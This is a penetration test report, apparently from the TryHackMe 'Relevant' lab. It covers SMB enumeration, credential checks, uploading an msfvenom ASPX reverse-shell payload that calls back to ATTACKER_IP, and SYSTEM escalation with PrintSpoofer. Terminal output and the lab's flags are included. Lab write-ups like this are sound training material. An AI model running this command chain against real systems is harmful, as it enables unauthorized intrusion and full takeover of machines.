Penetration Test Report – Relevant Machine

Executive Summary:
This penetration test assessed the security posture of the target system within a controlled lab environment. The assessment revealed multiple critical vulnerabilities that, when chained together, allowed an unauthenticated attacker to achieve full system compromise.

The attack began with the enumeration of exposed SMB services, which led to the discovery of valid user credentials. These credentials provided access to a misconfigured network share with write permissions. By leveraging this access, a malicious payload was uploaded to a web-accessible directory, resulting in remote code execution on the target system.

Following initial access, further analysis identified the presence of the SeImpersonatePrivilege, which was abused using a known privilege escalation technique to obtain SYSTEM-level access. This effectively granted complete control over the machine.

The vulnerabilities identified demonstrate a lack of proper access controls, insecure service configurations, and excessive user privileges. If exploited in a real-world environment, these issues could allow an attacker to fully compromise the system, execute arbitrary commands, and access sensitive data.

Immediate remediation is recommended to address these critical security weaknesses and reduce the risk of compromise.

Scope:
Target IP: 10.145.139.199
Environment: TryHackMe Relevant

Methodology:
1. Enumeration
2. Initial Access
3. Exploitation
4. Privilege Escalation
5. Post-Exploitation

Enumeration:
Command:
nmap -sC -sV -T4 -p- 10.145.139.199

Open Ports:
80 (HTTP), 135 (MSRPC), 139 (NetBIOS), 445 (SMB)

SMB Enumeration:
rpcclient -U "" 10.145.139.199

enumdomusers

Users Found:
Bob
Bill

Credential Validation:
crackmapexec smb 10.145.139.199 -u Bob -p '!P@$$W0rD!123'
crackmapexec smb 10.145.139.199 -u Bill -p 'Juw4nnaM4n420696969!$$$' —shares

Initial Access:
smbclient //10.145.139.199/nt4wrksv -U Relevant/Bob
put test.txt

Exploitation:
Payload Creation:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f aspx > evil.aspx

Upload:
put evil.aspx

Listener:
nc -lvnp 4444

Execution:
curl http://10.145.139.199/nt4wrksv/evil.aspx

Post-Exploitation:
whoami
hostname

User Flag:
type C:\Users\Bob\Desktop\user.txt

Privilege Escalation:
whoami /priv
PrintSpoofer64.exe -i -c cmd

SYSTEM Verification:
whoami

Root Flag:
type C:\Users\Administrator\Desktop\root.txt

Impact:
Full system compromise achieved.

Recommendations:
- Restrict SMB write access
- Remove web exposure of shares
- Enforce least privilege
- Patch privilege escalation vectors

```
c:\windows\system32\inetsrv>type C:\Users\Bob\Des
type C:\Users\Bob\Desktop\user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>
```

```
c:\windows\system32\inetsrv>cd C:\inetpub\wwwroo
cd C:\inetpub\wwwroot\nt4wrksv

C:\inetpub\wwwroot\nt4wrksv>PrintSpoofer64.exe -
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reser

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\
type C:\Users\Administrator\Desktop\root.txt
THM{1fk5kf469devly1gl320zafgl345pv}
C:\Windows\system32>
```

```
Finished
================================================
root@ip-10-145-99-225:~# crackmapexec smb 10.145
'Juw4nnaM4n420696969!$$$' --shares
SMB         10.145.170.122  445    RELEVANT
er 2016 Standard Evaluation 14393 x64 (name:RELE
nt) (signing:False) (SMBv1:True)
SMB         10.145.170.122  445    RELEVANT
Juw4nnaM4n420696969!$$$
MB          10.145.170.122  445    RELEVANT
res
SMB         10.145.170.122  445    RELEVANT
Permissions     Remark
SMB         10.145.170.122  445    RELEVANT
-----------     ------
SMB         10.145.170.122  445    RELEVANT
                Remote Admin
SMB         10.145.170.122  445    RELEVANT
                Default share
SMB         10.145.170.122  445    RELEVANT
                Remote IPC
SMB         10.145.170.122  445    RELEVANT
READ,WRITE
```